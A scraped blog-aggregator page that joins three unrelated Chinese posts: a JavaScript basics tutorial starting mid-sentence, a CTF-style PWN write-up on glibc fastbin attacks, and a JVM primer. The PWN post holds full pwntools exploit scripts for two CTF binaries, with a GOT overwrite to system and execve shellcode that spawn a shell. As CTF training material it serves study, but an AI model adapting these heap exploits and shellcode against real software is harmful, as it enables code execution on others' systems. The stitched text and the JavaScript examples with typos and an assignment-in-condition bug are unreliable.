NaN,0,"",null,undefined会自动转换成false。 5.Undefined 和 Null Undefined 这个值表示变量不含有值。 可以通过将变量的值设置为 null 来清空变量。 6.typeof动态的求出变量的数据类型 alert(typeof null);//Object alert(typeof NaN);//number alert(typeof undefined);//undefined 7.用”new“声明变量类型 var x = new Stirng; var y = new Number; var person = new Object; var flag = new Boolean; 8.JavaScript 变量均为对象。当您声明一个变量时,就创建了一个新的对象。 03.输出语句 javaScript可以通过不同的方式输出数据: 1.使用window.alert()弹出警告框,window可以省略。 2.使用document.write()方法将内容写到HTML文档中。 3.使用innerHTML写入到HTML元素中。 4.使用console.log()写入到浏览器控制台,console可以省略。 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>输出语句</title> </head> <body> <p id = "one" ></p> <script> var x = prompt("请输入一个数据:"); var y = 3.1; alert(x); document.write(x+y); var temp = document.getElementById("one"); temp.innerHTML=x+y; console.log(x+y); </script> </body> </html> 输入数据: 可以用prompt(”请输入你的姓名:“)在页面弹出一个输出框。数据为字符串类型。 04.数组 1.javaScript数组为一个无限大的容器,数组类型可以是不一致。 2.创建方式: var nums = new Array(); news[0] = 11; news[1] = "22"; //或者 var computerBrand = new ("ASUS","DELL"); 3.数组的遍历 3.1for循环遍历 3.2for/in循环遍历 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>数组的遍历</title> </head> <body> <script> var arr = new Array(); arr[0]="MengYangChen"; arr[1]="20"; arr[2]="boy"; for(var i = 0;i<arr.length;i++){ document.write(arr[i]+"<br>"); } for(var i in arr){ document.write(arr[i]+"<br>"); } </script> </body> </html> 05.函数 JavaScript 函数语法 1.函数就是包裹在花括号中的代码块,前面使用了关键词 function: function functionname() { // 执行代码 } 或者 functionname=function{ //执行代码 } 2.具有参数的函数 function myFunction(var1,var2) { //代码 } 3.具有返回值的参数 function myFunction() { var x=5; return x; } document.getElementById("demo").innerHTML=myFunction(); function myFunction(a,b) { return a*b; } document.getElementById("demo").innerHTML=myFunction(4,3); 06.对象 1.avaScript 中的所有事物都是对象:字符串、数值、数组、函数…。 此外,JavaScript 允许自定义对象。 对象也是一个变量。对象可以包含多个值。 var computer ={brand:"ASUS",color:"silveryWhite",price:"13"}; 2.可以使用字面量来定义和创建 JavaScript 对象: var person ={ firstName : "YangChen", lastName :"Meng", age: 20, gender : "men" }; 键值对通常写法为 name : value (键与值以冒号分割)。 键值对在 JavaScript 对象通常称为 对象属性。 3.访问对象属性: person.lastName; person["lastName"]; 4.对象方法 4.1创建对象方法: methodName : function() { // 代码 } 案例: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>对象</title> </head> <body> <span id = "demo"></span> <script> var person ={ firstName :"YangChen", lastName :"Meng", age: 20, gender : "men", fullName : function() { return this.firstName + " " + this.lastName; } }; document.getElementById("demo").innerHTML=person.fullName(); </script> </body> </html> 5.访问对象的方法 objectName.methodName(); 6.创建JavaScript对象 新建对象有两种不同的方法: 6.1使用 Object 定义并创建对象的实例。 在 JavaScript 中,几乎所有的对象都是 Object 类型的实例,它们都会从 Object.prototype 继承属性和方法。 Object 构造函数创建一个对象包装器。 Object 构造函数,会根据给定的参数创建对象,具体有以下情况: 如果给定值是 null 或 undefined,将会创建并返回一个空对象。 如果传进去的是一个基本类型的值,则会构造其包装类型的对象。 如果传进去的是引用类型的值,仍然会返回这个值,经他们复制的变量保有和源对象相同的引用地址。 当以非构造函数形式被调用时,Object 的行为等同于 new Object()。 <script> var person=new Object(); person.firstname="John"; person.lastname="Doe"; person.age=50; person.eyecolor="blue"; document.write(person.firstname + " is " + person.age + " years old."); </script> 6.2使用函数来定义对象,然后创建新的对象实例。(对象构造器) <script> function person(firstname,lastname,age,eyecolor){ this.firstname=firstname; this.lastname=lastname; this.age=age; this.eyecolor=eyecolor; this.changeName=changeName; function changeName(name) { this.lastname=name; } } myFather=new person("John","Doe",50,"blue"); document.write(myFather.firstname + " is " + myFather.age + " years old."); </script> ​ 有了对象构造器,就可以创建新的对象: var myFather=new person("John","Doe",50,"blue"); var myMother=new person("Sally","Rally",48,"green"); 07.事件 1.HTML 事件是发生在 HTML 元素上的事情。 2.在事件触发时 JavaScript 可以执行一些代码。 <button onclick="displayDate()">点这里</button> <script> function displayDate(){ document.getElementById("demo").innerHTML=Date(); } </script> <p id="demo"></p> 3.常见的HTML事件 下面是一些常见的HTML事件的列表: onchange HTML 元素改变,下拉列表选中改变,或文本框内容改变。 onclick 用户点击 HTML 元素 onmouseover 用户在一个HTML元素上移动鼠标 onmouseout 用户从一个HTML元素上移开鼠标 onkeydown 用户按下键盘按键 onload 浏览器已完成页面的加载 在js中,doucument.getElementById(‘ 标签的id’);发生一个交互事件时,js和html是分离的,获取标签对象。 08.DOM 1.文档对象模型(Document Object Model,简称DOM),是W3C组织推荐的处理可扩展标记语言(HTML或者XML)的标准编程接口。 w3C已经定义了一系列的DOM接口,通过这些DOM接口可以改变网页的内容、结构和样式。 DOM树 文档:一个页面就是一个文档,DOM中使用document表示。 元素:页面中的所有标签都是元素,DOM中使用element表示。 节点︰网页中的所有内容都是节点(标签、属性、文本、注释等),DOM中使用node表示。 2.获取元素 2.1根据ID获取 使用getElementById()方法可以获取带有ID的元素对象,找不到返回null。 console.dir()方法: 打印我们返回元素的对象,更好的查看里面的属性和方法。 2.2根据标签名获取 使用getElementsByTagName()方法,可以返回带有指定标签名的对象的集合。 得到的元素是动态的。 如果页面中只有一个元素,返回的还是一个伪数组。 如果没有该元素返回空的伪数组。 可以指定父元素,获取父元素内部所有指定标签名的子元素。 注意:父元素必须是单个对象(必须指明是哪一个元素对象),获取的时候不包括父元素自己。即先获取父元素,再根据父元素获取,子元素。 如: var ol = document.getElementsByTagName("ol"); console.log(ol[0].getElementsByTagName("li"); 根据类名获取元素 document.getElementsByClassName(“box”); 返回一个伪数组。 根据指定选择器返回第一个元素对象 document.querySelector(“选择器”); 根据指定选择器返回集合 document.querySelectorAll(“选择器”); var b = document.querySelectorAll(".two"); b[0].innerHTML="常"; b[1].innerHTML="有意思!"; 获取body和html标签 document.body; document.documentElement;//html 或则通过添加id,class…。 事件 JavaScript使我们有能力创建动态页面,而事件是可以被JavaScript侦测到的行为。 简单理解︰触发—响应机制。 网页中的每个元素都可以产生某些可以触发JavaScript的事件,例如,我们可以在用户点击某按钮时产生一个事件,然后去执行某些操作。 事件有三部分组成:(也称事件三要素) 事件源 <button id="btn">ff</button> var btn = document.getElementById("btn); 事件类型 如何触发,什么事件,比如鼠标点击(onclick)还是鼠标经过,还是键盘按下。 事件处理程序: 通过函数完成 执行事件的步骤。 1.获取事件源。 2.注册事件(绑定事件)。 btn.onclick=function(){ } 3.添加事件处理程序。 操作元素 JavaScript的DOM操作可以改变网页内容、结构和样式,我们可以利用DOM操作元素来改变元素里面的内容、属性等。注意以下都是属性。 改变元素的内容 innerTest和innerHTML innerTest(非标准)不识别HTML的标签,而innerHTML识别。 可以获取里面的内容,innerTest会去除空格和换行,而innerHTML保留空格和换行。 常用元素的属性操作 先获取标签元素对象,然后通过对象.属性来修改属性。 分时显示不同图片,显示不同的问候语。 1.获取当前时间。 表单元素的属性操作 利用DOM可以操作如下表单元素的属性: type,value,checked,selected,disabled <body> <button>点击我</button> <input type="text" value="输入内容"> <script> //1.获取元素 var btn = document.querySelector("button"); var input = document.querySelector("input"); //注册事件 btn.onclick = function () { input.value = '他点击我了'; //btn.disabled=true;//禁用按钮 this.disabled = true;//指向当前对象,事件函数的调用者 } </script> </body> 点击按钮密码框切换为文本框,并可以查看密码明文 1.思路将密码框改为文本框 <body> <div class="box"> <label for="pwd"> <img src="#" alt="" id="eye"/> </label> <input type="password" name="" id="pwd"> </div> <script> var eye = document.getElementById('eye'); var pwd = document.getElementById('pwd'); //注册事件 var flag =0; eye.onclick = function () { if(flag = 0 ){ pwd.type= "text"; this.src="#1"; flag = 1; } else { pwd.type = 'password'; this.src="#"; flag = 0 ; } } </script> </body> 样式属性操作 我们可以通过js修改元素的大小,颜色,位置样式 1.element.style 行内样式操作 js修改style样式操作,产生的是行内样式,css权重比较高。 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>样式属性</title> <style type="text/css"> div{ width: 200px; height: 200px; background-color: red; } </style> </head> <body> <div></div> <script> //1.获取元素 var div = document.querySelector('div'); //2.注册事件,处理程序 div.onclick = function () { this.style.backgroundColor="blue"; this.style.width = "300px"; } </script> </body> 2.element.className 类名样式操作 通过写好样式,然后通过获取元素,在响应事件后,将元素的类名赋我们事先绑定好的样式来改变元素的样式。 .change{ ...... } var test = document.querySelector('div'); test.onclick = function(){ this.className = 'change'; } 如果样式修改较多,可以采用这种方式。 原先的类名会被覆盖。 如果想要保留原先的类名,可以采用以下方式: this.className = 'first change'; 获取自定义属性值 1.element.属性 获取属性值 获取内置属性值(元素本身自带的属性) 2.element.getAttribute('属性‘); 可以获取自定义属性,程序员自定义的属性 3.设置属性值 element.属性 = '值'; element.setAttribute('属性','值');//主要用于自定义属性 4.移除属性 element.removeAttribute('属性'); H5的自定义属性 自定义属性的目的:是为了保存并使用数据。有些数据可以保存到页面中而不用保存到数据库中。 自定义属性获取是通过getAttribute('属性’)获取。 但是有些自定义属性很容易引起歧义,不容易判断是元素的内置属性还是自定义属性。 <div getTime="20"><div> var di = document.querySelector('div'); 如何区分是自定义属性还是内置属性呢? H5规定自定义属性data-开头做为属性名并且赋值。 比如: <div data-index ="1"></div> 或者使用Js设置 element.setAttribute(‘data-index’,2); H5获取自定义属性的方法 1.element.getAttribute('data-indexd data-list-name=andy'); 2.H5新增element.dataset.index 或者element.dataset['index'] ie11才开始支持。 dataset是一个集合里面存放了所有以data开头的自定义属性。 如果自定义属性里面有多个-连接的单词,我们获取的时候才去驼峰命名法 ```java div.getAtrribute("data-list-name"); div.dataset.listName; 节点操作 为什么学节点操作? 获取元素通常使用两种方式: 1.利用DOM提供的方法获取元素 document.getElementById(); document.getElementByTagName(); document.querySelector(); 缺点:逻辑性不强,繁琐。 2.利用节点的层次关系获取元素(父子兄弟关系) 逻辑性强,但是兼容性差 一般节点至少拥有nodeType(节点类型),nodeName(节点名称)和nodeValue(节点值)这三个基本属性。 元素节点nodeType 为1 属性节点nodeType为2 文本节点nodeType 为3(文本节点包含文字、空格、换行等) 一般获取元素节点。 <div> <span></span> <div> 3.节点层级 利用DOM树可以把节点划分为不同的层级关系,常见的是父子兄层级关系。 父级节点 得到与元素最近的节点。找不到父节点则返回为null。 node.parentNode; 子节点 得到所有的子节点,包括元素节点,文本节点,等 parentNode.ChildNodes(标准) parentNode.ChildNodes返回包含指定节点的子节点的集合,改集合为即时更新的集合。 如果只想获得里面的元素节点,则需要专门处理,所以我们一般不提倡使用。 var ul =document. queryselector ( 'ul'); for(var i = 0; i < ul.childNodes.length; i++){ if (ul.childNodes[i].nodeType -- 1){ // ul.childNodes[i]是元素节点 console.log(ul.childNodes[i]); } 为了解决这个问题还有一种非标准的用法。 parentNode.children(非标准) parentNode.children是一个只读属性,返回所有的子元素节点。它只返回子元素节点,其余节点不返回(这个是我们重点掌握的)。 虽然children是一个非标准,但是得到了各个浏览器的支持,因此我们可以放心使用。 第一个节点和最后一个节点 父节点.firstChild 父节点.lastChild 第一个子元素和最后一个元素节点 父节点.firstElementChild 父节点.LastElementChild 4.三种动态创建元素的区别 4.1document.write() document.write("<div>fa<div>"): 会导致页面重绘:document.write是直接将内容写入页面的内容流,但是文档流执行完毕,再使用该语句,则它会导致页面全部重绘。 4.2 element.innerHTML element.innerHTML="<a href="#">dfa</a>"; 4.3 document.createElement(); var a = document.createElement(); element.appendChild(a); innerHTML是将内容写入某个DOM节点,不会导致页面全部重绘. innerHTML创建多个元素效率更高(不要拼接字符串,采取数组形式拼接),结构稍微复杂 . createElement(创建多个元素效率稍低一点点,但是结构更清晰 09.BOM 什么是BOM对象? Brower Object Model,指的是浏览器对象模型。 作用:操作浏览器窗口及窗口上的空间,实现用户和页面的动态交互。如返回,前进,刷新,地址栏,关闭窗口,缩放窗口等。 浏览器对象:指的是浏览器提供的一系列内置对象的统称。 BOM浏览器对象模型:各内置对象之间按照某种层次组织起来的模型的统称。 document(文档对象)﹔也称为DOM对象,是HTML页面当前窗体的内容,同时也是JavaScript重要组成部分之一。 history(历史对象)﹔主要用于记录浏览器的访问历史记录,也就是浏览网页的前进与后退功能。 location(地址栏对象)﹔用于获取当前浏览器中URL地址栏内的相关数据。navigator(浏览器对象)﹔用于获取浏览器的相关数据,例如浏览器的名称、版本等,也称为浏览器的嗅探器。 screen(屏幕对象):可获取与屏幕相关的数据,例如屏幕的分辨率等。 window对象 window对象是BOM中所有对象的核心,同时也是BOM中所有对象的父对象。定义在全局作用域中的变量、函数以及JavaScript中的内置函数都可以被window对象调用。 window对象的属性和方法: setTimeout()方法在执行一次后即停止了操作;setlnterval()方法一旦开始执行,在不加干涉的情况下,间歇调用将会一直执行到页面关闭为止。 若要在定时器启动后,取消该操作,可以将setTimeout()的返回值(定时器ID)传递给clearTimeout()方法;或将setlnterval()的返回值传递给clearIntexal()方法。 location对象 location对象提供的用于改变URL地址的方法,所有主流的浏览器都支持。 利用location.href可以跳转到指定的url地址中。 history对象 history对象可对用户在浏览器中访问过的URL历史记录进行操作。 出于安全方面的考虑,history对象不能直接获取用户浏览过的URL,但可以控制浏览器实现“后退”和“前进”的功能。 navigator对象 navigator对象提供了有关浏览器的信息,主流浏览器中存在的属性和方法如下: screen对象 screen对象用于返回当前渲染窗口中与屏幕相关的属性信息,如屏幕的宽度和高度等。 If your happiness depends on what somebody else does, I guess you do have a problem. 如果你的快乐与否取决于别人做了什么,我想,你真的有点问题。

优秀的个人博客,低调大师

PWN入门(Fastbin Attack)

fastbin 大小: 32位:16-64字节 0x10-0x40 64位:32-128字节 0x20-0x80 chunk 的大小而不是申请的内存的大小(申请的内存加上 chunk 头) fastbinsY 是一个数组,相同大小的 chunk 放在一个数组元素指向的链表里面 单向链表后进先出,fastbinsY 数组中每一个元素指向该链表的尾结点,尾结点在通过 fd 指针指向前一个节点 例如: free(ptr1); free(ptr2); 最后那么是这样的 fastbin -> ptr2 -> ptr1 空闲的 fastbin chunk 不会被合并,不会修改 chunk 头 拿这个例子做一下实验 #include<stdio.h>voidmain(){char*a1=malloc(0x10);memset(a1,0x41,0x10);char*a2=malloc(0x10);memset(a2,0x42,0x10);char*a3=malloc(0x10);memset(a3,0x43,0x10);char*a4=malloc(0x30);memset(a4,0x44,0x30);char*a5=malloc(0x30);memset(a5,0x45,0x30);printf("mallocdone!\n");free(a1);free(a2);free(a3);free(a4);free(a5);printf("freedone\n");} 可以看出链表来,后释放的 fd 指向上一个的,而不同大小的不会指向 Fastbin Double Free wiki 上的描述,可以看到 chunk1 的 fd 会指向 chunk2 那么如果 chunk1 是我们可控的那么就可以申请任意地址的 fastbin House Of Spirit 又是全新的知识 Orz 在目标地址伪造 fastbin chunk,然后释放掉,从而达到分配指定地址的 chunk 的目的 有一些条件: fakechunk的ISMMAP位不能为1,因为free时,如果是mmap的chunk,会单独处理 fakechunk地址需要对齐,MALLOC_ALIGN_MASK fakechunk的size大小需要满足对应的fastbin的需求,同时也得对齐 fakechunk的nextchunk的大小不能小于2*SIZE_SZ,同时也不能大于av->system_mem fakechunk对应的fastbin链表头部不能是该fakechunk,即不能构成doublefree的情况 #include<stdio.h>#include<stdlib.h>intmain(){malloc(1);fprintf(stderr,"Wewilloverwriteapointertopointtoafake'fastbin'region.Thisregioncontainstwochunks.\n");unsignedlonglong*a,*b;unsignedlonglongfake_chunks[10]__attribute__((aligned(16)));fprintf(stderr,"Thefirstone:%p\n",&fake_chunks[0]);fprintf(stderr,"Thesecondone:%p\n",&fake_chunks[4]);fake_chunks[1]=0x20;//thesizefake_chunks[5]=0x1234;//nextsizefake_chunks[2]=0x4141414141414141LL;fake_chunks[6]=0x4141414141414141LL;fprintf(stderr,"Overwrittingourpointerwiththeaddressofthefakeregioninsidethefakefirstchunk,%p.\n",&fake_chunks[0]);a=&fake_chunks[2];fprintf(stderr,"Freeingtheoverwrittenpointer.\n");free(a);fprintf(stderr,"Nowthenextmallocwillreturntheregionofourfakechunkat%p,whichwillbe%p!\n",&fake_chunks[0],&fake_chunks[2]);b=malloc(0x10);fprintf(stderr,"malloc(0x10):%p\n",b);b[0]=0x4242424242424242LL;} 通过构造 fake chunk,然后把它给释放掉,这样再次申请相同大小的 chunk 的时候就会匹配到这里 house-of-spirit 是一种通过堆的 fastbin 机制来辅助栈溢出的方法 如果栈溢出的时候溢出的长度不能覆盖掉返回地址的但是却可以覆盖栈上面一个即将 free 的指针的话,我们可以把这个指针覆盖为栈上的某一个地址,并且把这个地址上伪造一个 chunk,free 之后再次 malloc 就可以申请到栈上面伪造的那一块,这时候就有可能改写返回地址了 通过上面那个程序直观的看一下 gcc -g house_of_spirit.c 首先在程序的第 14 行下个断点 b 14 运行到这里可以看到 fake_chunk 目前还没有被我们写入 我们直接让他写完,再来看一下,已经构造出 fake chunk 了 对 fake_chunk 进行 free 之后 可以看一下 fastbin 现在已经是有了我们构造的那个 fake_chunk 了 接下来再次 malloc 一个相同大小的 chunk 就会把这里申请过去 b=malloc(0x10);b[0]=0x4242424242424242LL; 构造 chunk 的时候要注意绕过一些检查: 后面那三个特殊的标志位前两个必须都为 0,写 size 位的时候直接 0xN0就可以了,然后大小要注意符合 fastbin 的大小,next chunk 的大小也要注意,必须大于 2*SIZE_SZ,小于 av->system_mem 64位下:16< next chunk 的 size < 128 Alloc to Stack 通过修改 fd 指针,指向栈上,从而申请栈上的空间,进而控制返回地址 Arbitrary Alloc 跟上一个的区别在于这个是往任何可写的地方去分配 chunk 2014 hack.lu oreo 先随便申请两个看一下结构 add('1'*20,'a'*20)add('2'*20,'b'*20) 可以看到申请的第二个上有一个指向第一个的指针 那如果第 2 个的 name 再多写一点,就可以覆盖掉这个指针了 name='a'*27+elf.got['puts'] 这时候再去 show 就能拿到 puts 的真实地址了,拿到之后就可以计算出 libc 的地址,进而拿到 system 和 '/bin/sh' 的地址 接下来需要伪造一个 chunk,因为枪支的 chunk 大小是 0x40的,而那个计数的东西在 bss 段中 0x804A2A4 的位置,每 add 一个就会 +1,可以用来作为 fake chunk 的 size,只需要多申请几个就可以 这时候可以同时把最后一个的指针改为 fake chunk 的地址(0x804A2A4 + 0x4) count=1whilecount<0x3f:add('a'*27+p32(0),'b')count=count+1payload='a'*27+p32(0x0804a2a8)add(payload,25*'a') 这样 fake chunk 的 size 位就构造好了,同时最后一个 chunk 的指向了 fake chunk 还需要绕过一些检测:对齐、fake chunk 的 size 的大小、next chunk 的 size 大小、标记位检查 来看一下那个 Leave a Message 功能,他会往 0x804A2A8 指向的地方也就是 0x804A2C0 读取内容 我么可以通过 Leave a Message 往那个地方去写来帮助 fake chunk 绕过检查,比如: payload=p8(0)*0x20+p32(0x40)+p32(0x100)payload=payload.ljust(52,'b')payload+=p32(0)payload=payload.ljust(128,'c')leave(payload) 首先是 0x20 的占位留给 fake chunk,然后是 fake chunk 的 size,接下来是 next chunk 的 size 此时内存布局: 释放的时候会把之前修改的指针指向的那个给释放掉,然后再去申请的时候就可以申请到伪造的那个 chunk 然后通过把 0x0x804A2A8 的地方改成某个函数的 got 表项再通过 Leave a Message 功能往改掉的那个地址上写内容以此来覆盖 got 表项的内容 payload=p32(elf.got['strlen']).ljust(20,'a')add('b'*20,payload)leave(p32(sys_addr)+';/bin/sh\x00') 这里覆盖的是 strlen 的 got 表的内容为 system 的地址 Leave a Message 功能里面调用了一个函数,其中有 strlen 相当于 system(p32(sys_addr) + ";/bin/sh") exp: frompwnimport*context.log_level='debug'p=process('./oreo')elf=ELF('./oreo')libc=ELF('./libc.so.6')defcmd(choice):p.sendline(str(choice))defadd(name,description):cmd(1)p.sendline(name)p.sendline(description)defshow():cmd(2)p.recvuntil('===================================\n')deforder():cmd(3)defleave(notice):cmd(4)p.sendline(notice)defstats():cmd(5)add('1'*20,'a'*20)name='a'*27+p32(elf.got['puts'])add(name,'b'*20)show()p.recvuntil('===================================\n')p.recvuntil('Description:')puts_addr=u32(p.recvuntil('\n',drop=True)[:4])printhex(puts_addr)libc_base=puts_addr-libc.symbols['puts']sys_addr=libc_base+libc.symbols['system']binsh_addr=libc_base+next(libc.search('/bin/sh'))count=1whilecount<0x3f:add('a'*27+p32(0),'b')count=count+1payload='a'*27+p32(0x0804a2a8)add(payload,25*'a')payload=p8(0)*0x20+p32(0x40)+p32(0x100)payload=payload.ljust(52,'b')payload+=p32(0)payload=payload.ljust(128,'c')leave(payload)order()p.recvuntil('Okayordersubmitted!\n')payload=p32(elf.got['strlen']).ljust(20,'a')add('b'*20,payload)leave(p32(sys_addr)+';/bin/sh\x00')p.interactive() L-CTF2016–pwn200 这里的 v2 是在 0x30 的位置,而 read 读入的时候可以读入 0x30,但是不会再末尾自己加上 \x00,所以如果输满了可以把后面的 rbp 给泄露出来 buf 在 rbp-0x40,dest 指针在 rbp-0x8,所以 buf 的最后八字节会把 dest 给覆盖掉 在输入 id 的那里会把输入的 id 放到 rbp-0x38 那里 首先通过 read 函数来泄露出来 rbp 中保存的地址 shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"payload=shellcode.ljust(46,'a')payload+='bb'p.send(payload)p.recvuntil('bb')leak_addr=p.recvuntil(',w')[:-3]leak_addr=u64(leak_addr.ljust(8,'\x00'))fake_addr=leak_addr-0x90shellcode_addr=leak_addr-0x50 箭头指向的是 rbp,0xe0-0x90=0x50,所以 shellcode 的地址是在泄漏的那个地址减 0x50 处 因为是先输入 id 再输入 money,所以那个 id 是在 money 下面的,可以通过 id 来伪造下一个堆块的 size(在一个范围内就可以,不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem) p.recvuntil('id~~?')p.sendline('48') 然后在输入 money 的时候伪造一个 chunk,并且覆盖掉 dest p.recvuntil('money~')payload=p64(0)*5+p64(0x41)payload=payload.ljust(0x38,'\x00')+p64(fake_addr)p.send(payload) 这是构造的 fake chunk emmm,要是再减去 0x8 就更好看了 看一下栈上的结构,最上面是构造的 chunk,下面是 id(作为 next chunk size)然后是 shellcode以及之前泄露的地址 先释放掉让伪造的 chunk 进入到 fastbin,然后再申请就申请到了伪造的 chunk,这时候覆盖掉 rip 为 shellcode 的地址就可以拿到 shell 这里有点疑惑为啥会把那个伪造的 chunk 放到 fastbin?还是没把程序的功能理顺,我们把 dest 给覆盖掉了,覆盖为了 fake chunk 的地址,然后 dest 放到了 ptr,后面 free 的时候是 free(ptr) 的 exp: frompwnimport*p=process("./pwn")shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"payload=shellcode.ljust(46,'a')payload+='bb'p.send(payload)p.recvuntil('bb')leak_addr=p.recvuntil(',w')[:-3]leak_addr=u64(leak_addr.ljust(8,'\x00'))fake_addr=leak_addr-0x90shell_addr=leak_addr-0x50print'shellcodeaddr:'+hex(shell_addr)print'fakeaddr:'+hex(fake_addr)print'leakaddr:'+hex(leak_addr)p.recvuntil('id~~?')p.sendline('48')p.recvuntil('money~')payload=p64(0)*5+p64(0x41)payload=payload.ljust(0x38,'\x00')+p64(fake_addr)p.send(payload)p.recvuntil('choice:')p.sendline('2')p.recvuntil('choice:')p.sendline('1')p.recvuntil('long?')p.sendline('48')p.recvuntil('\n48\n')payload='0'*0x18+p64(shell_addr)payload=payload.ljust(48,'\x00')p.send(payload)p.recvuntil('choice:')p.sendline('3')p.interactive() 本文分享自微信公众号 - 陈冠男的游戏人生(CGN-115)。如有侵权,请联系 support@oschina.cn 删除。本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

优秀的个人博客,低调大师

JVM的入门知识

前言:巴拉巴拉,今天给大家分享一点java三剑客(jre,jvm,jdk)中的jvm,纯理论教科书篇。 非原创,里面摘取了多个博客里面的内容 1JDK、 JRE、JVM 的关系是什么? 我们学习JVM的之前,简单科普一下他们三者有啥关系 JVM JAVA 虚拟机(Java Virtual Machine)。它只识别 .class 类型文件,它能够将 class 文件中的字节码指令进行识别并调用操作系统向上的 API 完成动作 JRE Java 运行时环境(Java Runtime Environment)。它主要包含两个部分:JVM 的标准实现和 Java 的一些基本类库。相对于JVM 来说,JRE多出了一部分 Java 类库 JDK Java 开发工具包(Java Development Kit)。JDK 是整个 Java 开发的核心,它集成了 JRE 和一些好用的小工具 常用工具 jar.exe jar文件管理工具,打包压缩解压jar文件 java.exe java运行工具,运行.class字节码文件或 .jar文件 javac.exe java编译工具,用来编译.java源代码文件 javap.exe java反编译工具,根据java字节码文件反汇编成java源代码文件 jvisualvm.exe jvm监控,分析工具 这三者的关系:JDK > JRE > JVM 由于Oracle jdk 从jdk 8u211以后商业用途需要收费,提供一下免费JDK 阿里dragonwell8 https://github.com/alibaba/dragonwell8/releases 亚马逊Corretto https://docs.aws.amazon.com/corretto/latest/corretto-8-ug/downloads-list.html adoptopenjdk https://adoptopenjdk.net openjdk http://openjdk.java.net/install 2 JVM的核心 JVM(Java Virtual Machine)是用来运行Java字节码的虚拟机,包括字节码指令集、程序寄存器、栈、堆、方法区和垃圾回收器。 JVM运行在操作系统之上,不与硬件设备直接交互。 Java源文件在通过编译器之后被编译成相应的.Class文件(字节码文件),.Class文件又被JVM中的解释器编译成机器码在不同的操作系统(Windows、Linux、Mac)上运行。 每种操作系统的解释器都是不同的,但基于解释器实现的虚拟机是相同的,这也是Java能够跨平台的原因。 在一个Java进程开始运行后,虚拟机就开始实例化了,有多个进程启动就会实例化多个虚拟机实例。进程退出或者关闭,则虚拟机实例消亡,在多个虚拟机实例之间不能共享数据。 Java程序的具体运行过程如下。 (1)Java源文件被编译器编译成字节码文件。 (2)JVM将字节码文件编译成相应操作系统的机器码。 (3)机器码调用相应操作系统的本地方法库执行相应的方法。 Java虚拟机包括一个类加载器子系统(Class Loader SubSystem)、运行时数据区(Runtime Data Area)、执行引擎和本地接口库(Native InterfaceLibrary)。 本地接口库通过调用本地方法库(Native Method Library)与操作系统交互。 JVM核心图 ◎ 类加载器子系统用于将编译好的.Class文件加载到JVM中; ◎ 运行时数据区用于存储在JVM运行过程中产生的数据,包括程序计数器、方法区、本地方法区、虚拟机栈和虚拟机堆; ◎ 执行引擎包括即时编译器和垃圾回收器,即时编译器用于将Java字节码编译成具体的机器码,垃圾回收器用于回收在运行过程中不再使用的对象; ◎ 本地接口库用于调用操作系统的本地方法库完成具体的指令操作。 3 JVM的内存区域 JVM的内存区域分为线程私有区域(程序计数器、栈、本地方法区)、线程共享区域(堆、方法区)和直接内存。 3.1 线程私有区域 生命周期与线程相同,随线程的启动而创建,随线程的结束而销毁。在JVM内,每个线程都与操作系统的本地线程直接映射,因此这部分内存区域的存在与否和本地线程的启动和销毁对应。 3.1.1程序计数器 程序计数器是一块很小的内存空间,用于存储当前运行的线程所执行的字节码的行号指示器。每个运行中的线程都有一个独立的程序计数器,在方法正在执行时,该方法的程序计数器记录的是实时虚拟机字节码指令的地址;如果该方法执行的是Native方法,则程序计数器的值为空(Undefined)。程序计数器属于“线程私有”的内存区域,它是唯一没有Out Of Memory(内存溢出)的区域。 3.1.2虚拟机栈 虚拟机栈是描述Java方法的执行过程的内存模型,它在当前栈帧(Stack Frame)中存储了局部变量表、操作数栈、动态链接、方法出口等信息。同时,栈帧用来存储部分运行时数据及其数据结构,处理动态链接(Dynamic Linking)方法的返回值和异常分派(Dispatch Exception)。栈帧用来记录方法的执行过程,在方法被执行时虚拟机会为其创建一个与之对应的栈帧,方法的执行和返回对应栈帧在虚拟机栈中的入栈和出栈。无论方法是正常运行完成还是异常完成(抛出了在方法内未被捕获的异常),都视为方法运行结束。 上图展示了线程运行图。 线程1在CPU1上运行,线程2在CPU2上运行,在CPU资源不够时其他线程将处于等待状态,等待获取CPU时间片。 而在线程内部,每个方法的执行和返回都对应一个栈帧的入栈和出栈,每个运行中的线程当前只有一个栈帧处于活动状态。 jvm参数: -Xss128k:每个线程栈的大小,合理的减少可以使剩余的系统内存支持更多的线程。 3.1.3 本地方法区 本地方法区和虚拟机栈的作用类似,区别是虚拟机栈为执行Java方法服务,本地方法栈为Native方法服务。 3.2线程共享区域 随虚拟机的启动而创建,随虚拟机的关闭而销毁。 3.2.1 堆 也叫作运行时数据区,在JVM运行过程中创建的对象和产生的数据都被存储在堆中,堆是被线程共享的内存区域,也是垃圾收集器进行垃圾回收的最主要的内存区域。由于现代JVM采用分代收集算法,因此Java堆从GC(Garbage Collection,垃圾回收)的角度还可以细分为:新生代、老年代和永久代。 jvm参数: -Xms4G : JVM启动时整个堆(包括年轻代,年老代)的初始化大小 (一般将和最大保持一致,可以避免堆内存频繁震荡,导致系统性能下降,jvm会尽可能维持在最小空间运行,这样很有可能发生频繁GC)。 -Xmx4G : JVM启动时整个堆的最大值。 -Xmn2G:年轻代的空间大小,剩下的是年老代的空间。 3.2.2 方法区 方法区也被称为永久代,用于存储常量、静态变量、类信息、即时编译器编译后的机器码、运行时常量池等数据 JVM把GC分代收集扩展到了方法区,这样JVM的垃圾收集器就可以像管理Java堆一样管理这部分内存。 永久代的内存回收主要针对常量池的回收和类的卸载,可回收的对象很少。 3.3 直接内存 也叫堆外内存,就是把内存对象分配在Java虚拟机的堆以外的内存 ,它并不是JVM运行时数据区的一部分,直接受操作系统管理(而不是虚拟机),这样做的结果就是能够在一定程度上减少垃圾回收对应用程序造成的影响。 